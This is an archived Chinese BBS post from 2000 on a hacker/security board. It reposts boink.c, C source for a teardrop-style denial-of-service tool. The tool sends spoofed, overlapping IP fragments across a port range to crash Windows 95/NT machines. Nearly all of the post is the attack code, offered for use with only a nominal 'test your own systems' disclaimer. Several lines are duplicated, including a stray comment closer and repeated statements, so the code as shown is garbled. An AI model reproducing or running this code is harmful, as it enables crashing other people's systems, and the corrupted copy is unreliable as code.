荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: bstone (Sealed!), 信区: Hacker
标 题: boink.c
发信站: BBS 荔园晨风站 (Mon Apr 10 21:33:33 2000), 转信
发信人: cloudsky (小四), 信区: Security
标 题: boink.c
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:25:52 2000), 站内信件
/*
boink.c - a modified bonk.c
==bendi - 1998==
bonk.c - 5/01/1998
Based On: teardrop.c by route|daemon9 & klepto
Crashes *patched* win95/(NT?) machines.
Basically, we set the frag offset > header length (teardrop
reversed). There are many theories as to why this works,
however i do not have the resources to perform extensive testing.
I make no warranties. Use this code at your own risk.
Rip it if you like, i've had my fun.
Modified by defile(efnet) [9/01/98]
As it stood before, bonk.c just simply attacked port 55.
As it stood before, bonk.c just simply attacked port 55.
Upon scanning my associates, I've noticed port 55 isn't
always open. It varies in fact, while other ports remain
open and vulnerable to this attack. I realized that Microsoft
just might fix this by blocking port 55 off or something
completely lame like that, and that is unacceptable.
As of this modification, you provide both a "start" and a
"stop" port to test for the weakness, in the attempt to catch
a possibly open port. (I've noticed port 55 seemed to come open
more frequently on machines that were running IE though)
Hopefully this will encourage Microsoft to write a REAL fix
instead of just make lackey fixes as they've had in the past.
Please only use this to test your own systems for vulnerability,
and if it is, bitch at Microsoft for a fix. I am not responsible
for any damage that may come and as stated above by the
author, this might not even work. I make no claims
to the ownership to any portions of this source in any way.
*/
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#define FRG_CONST 0x3
#define PADDING 0x1c
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[PADDING];
} pkt;
} pkt;
int udplen=sizeof(struct udphdr),
iplen=sizeof(struct iphdr),
datalen=100,
psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
spf_sck; /* Socket */
void usage(void)
{
/* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n"); */
fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stp
_port> [num]\n");
exit(0);
}
u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname(host_name);
if (res == NULL)
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}
int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
{
int bs;
struct sockaddr_in to;
memset(&pkt, 0, psize);
/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons(0x2000); /* more to come */
pkt.udp.source = htons(src_prt); /* udp header */
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);
/* send 1st frag */
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
pkt.ip.frag_off = htons(FRG_CONST + 1); /* shinanigan */
pkt.ip.tot_len = htons(iplen + FRG_CONST);
pkt.ip.tot_len = htons(iplen + FRG_CONST);
/* 2nd frag */
bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
(struct sockaddr *) &to, sizeof(struct sockaddr));
return bs;
}
void main(int argc, char *argv[])
{
u_long src_addr,
dst_addr;
int i,
/* src_prt = 55,
dst_prt = 55, */
start_port,
stop_port,
bs = 1,
pkt_count;
if (argc < 5)
if (argc < 5)
usage();
start_port = (u_short) atoi (argv[ 3 ]);
stop_port = (u_short) atoi (argv[ 4 ]);
if (argc == 6)
pkt_count = atoi (argv[ 5 ]);
if (start_port >= stop_port ||
stop_port <= start_port) {
start_port = 25;
stop_port = 65;
}
if (pkt_count == 0) pkt_count = 10;
/* Resolve hostnames */
src_addr = host_to_ip(argv[1]);
src_addr = host_to_ip(argv[1]);
if (!src_addr)
quit("bad source host");
dst_addr = host_to_ip(argv[2]);
if (!dst_addr)
quit("bad target host");
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");
for (i = 0; i < pkt_count; ++i)
{
int j;
printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port);
for (j = start_port; j != stop_port; j++) {
/* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); */
fondle (spf_sck, src_addr, dst_addr, j, j);
}
usleep(10000);
}
printf("Done.\n");
}
--
我问飘逝的风：来迟了？
风感慨：是的，他们已经宣战。
我问苏醒的大地：还有希望么？
大地揉了揉眼睛：还有，还有无数代的少年。
我问长空中的英魂：你们相信？
英魂带着笑意离去：相信，希望还在。
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 203.207.226.124]
--
☆ 来源:．BBS 荔园晨风站 bbs.szu.edu.cn．[FROM: bbs@192.168.28.106]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店